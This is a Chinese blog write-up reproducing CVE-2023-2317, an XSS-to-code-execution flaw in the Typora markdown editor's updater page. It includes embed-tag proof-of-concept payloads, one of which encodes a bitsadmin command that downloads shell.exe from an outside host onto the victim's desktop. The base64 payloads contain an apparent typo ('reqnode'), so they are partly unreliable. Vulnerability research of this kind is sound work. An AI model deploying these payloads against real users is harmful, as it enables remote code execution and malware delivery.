Typora远程代码执行漏洞 - CVE-2023-2317
Typora - CVE-2023-2317
简介
Typora一个常用的markdown编辑器,在1.6.7之前存在XSS漏洞,可以通过传入参数触发来加载恶意的JavaScript代码
分析
在typora的安装目录下的resource目录下,updater.html。

先用正则从URL中提取一些参数来更新内容,分别获得curVersion, newVersion,releaseNoteLink,hideAutoUpdates和labels这五个参数的值.其中,releaseNoteLink和labels是经过URL编码的,所以需要用decodeURIComponent函数来解码。
接着用JSON.parse来将labels变量转化为数组,因为包含了文本标签所以就可以显示在网页上面。然后用选择器document.querySelector("#sum")来找到id为sum的元素,他的值由数组中第四个和第五个标签拼接起来的字符串替代
再用document.querySelectorAll("[data-label]")找到并同时去遍历所有的data-label属性的元素,值则为对应索引的标签
可以看到他直接使用了dom.innerHTML进行修改,传参未经任何的转移过滤,就会有执行恶意js的可能。
利用
构造poc,原始如下:atob函数中的字符串先base64
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=["","","<svg/onload=top.eval(atob('reqnode('child_process').exec('calc')'))></svg>","","",""]">
然后因为这里只是编码参数,所以对labels=[]中的内容进行URL编码时要使用encodeURLCompoent,否则不生效

将poc以html类型写入,保存之后每次加载这个文件就会触发计算器。
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%5B%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22%5D%22%3E]">

去尝试了一下用bitsadmin拉子下来上线,但寄了
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2JpdHNhZG1pbiAvdHJhbnNmZXIgdGVzdCBodHRwOi8vMTkyLjE2OC4xMzAuMTo1NTU1L3NoZWxsLmV4ZSBDOlxVc2Vyc1x3ZW5keVxEZXNrdG9wXDExMC5leGUnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22]">
版本测试
1.2.3 直接未响应,加载一会就回闪退

其他版本的测试就没有尝试了,有兴趣的这边请传送门
参考文章
Typora远程代码执行漏洞 - CVE-2023-2317的更多相关文章
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
- MongoDB ‘conn’Mongo 对象远程代码执行漏洞
漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...
- Struts2再爆远程代码执行漏洞
Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- phpcms2008远程代码执行漏洞
phpcms2008远程代码执行漏洞 描述: 近日,互联网爆出PHPCMS2008代码注入漏洞(CVE-2018-19127).攻击者利用该漏洞,可在未授权的情况下实现对网站文件的写入.该漏洞危害程度 ...
- 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞
漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...
- CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
- 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...
- 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
随机推荐
- 每日一练:无感刷新页面(附可运行的前后端源码,前端vue,后端node)
1.前言 想象下,你正常在网页上浏览页面.突然弹出一个窗口,告诉你登录失效,跳回了登录页面,让你重新登录.你是不是很恼火.这时候无感刷新的作用就体现出来了. 2.方案 2.1 redis设置过期时间 ...
- MySQL实战实战系列 01 基础架构:一条SQL查询语句是如何执行的?
这是专栏的第一篇文章,我想来跟你聊聊 MySQL 的基础架构.我们经常说,看一个事儿千万不要直接陷入细节里,你应该先鸟瞰其全貌,这样能够帮助你从高维度理解问题.同样,对于 MySQL 的学习也是这样. ...
- Solution -「洛谷 P7395」「CoE-I 2021C」弹珠游戏
Description Link. 游戏在 \(4\times4\) 的菱形棋盘上进行: 两名玩家轮流放置弹珠,可以在横向.纵向.\(45\) 度斜线.\(135\) 度斜线方向未放置弹珠的位置连续放 ...
- vue项目使用lodash节流防抖函数问题与解决
背景 在lodash函数工具库中,防抖_.debounce和节流_.throttle函数在一些频繁触发的事件中比较常用. 防抖函数_.debounce(func, [wait=0], [options ...
- UVA10054 The Necklace 题解
好可恶一道题,怎么没人告诉我输出之间有空行( 思路是先抽象成图,然后跑一边dfs记录边的前后顺序. 对于不能成环的情况,只需要再开个数组记录度数判断奇点即可. 若存在奇点则break掉,剩下的跑dfs ...
- 关于CAS等原子操作,说点别人没说的
Java中提供了原子操作,可以简单看一下AtomicInteger类中的一个典型的原子操作incrementAndGet(),表示对原子整数变量进行加操作,并返回新的值.实现如下: public cl ...
- Python Lambda 用法大全
一.Lambda表达式基础 Lambda 的组成分为三部分 lambda arguments: expression arguments为Lambda表达式的参数列表,多个参数使用逗号分隔:expre ...
- 聊聊RNN与seq2seq
seq2seq模型也称为Encoder-Decoder模型.顾名思义,这个模型有两个模块--Encoder(编码器)和Decoder(解码器).编码器对输入数据进行编码,解码器对被编码的数据进行解码. ...
- HTTP 和 RPC 的区别
一句话概括 RPC代表:Feign.Dubbo RPC 主要用于公司内部的服务调用,性能消耗低,传输效率高,服务治理方便. HTTP 代表:RestTemplate.HttpClient HTTP 主 ...
- MySQL-安全更新参数
版权声明:原创作品,谢绝转载!否则将追究法律责任. ----- 作者:kirin 注意! 生产环境中,updata必须要加where条件 1.开启安全功能,会提示你加where,不加会提示语法不正确. ...